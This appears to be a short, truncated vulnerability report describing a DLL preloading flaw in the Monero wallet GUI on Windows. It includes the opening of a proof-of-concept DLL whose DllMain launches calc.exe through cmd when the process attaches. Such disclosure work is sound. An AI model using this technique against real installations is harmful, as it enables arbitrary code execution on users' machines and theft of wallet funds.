Misconfiguration in build environment allows DLL preloading attack

Summary: `monero-wallet-gui.exe` tries to dynamically load some dynamic link libraries(DLL) which are not present in the applications directory, so `LoadLibraryA` system-call will search other directories such as Windows root and %PATH% for them. An attacker can gain arbitrary code execution if …

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            system("cmd /Q /D /C calc.exe");
        case DLL_PROCESS_DETACH:
        case DLL_THREAD_ATTACH:
        case …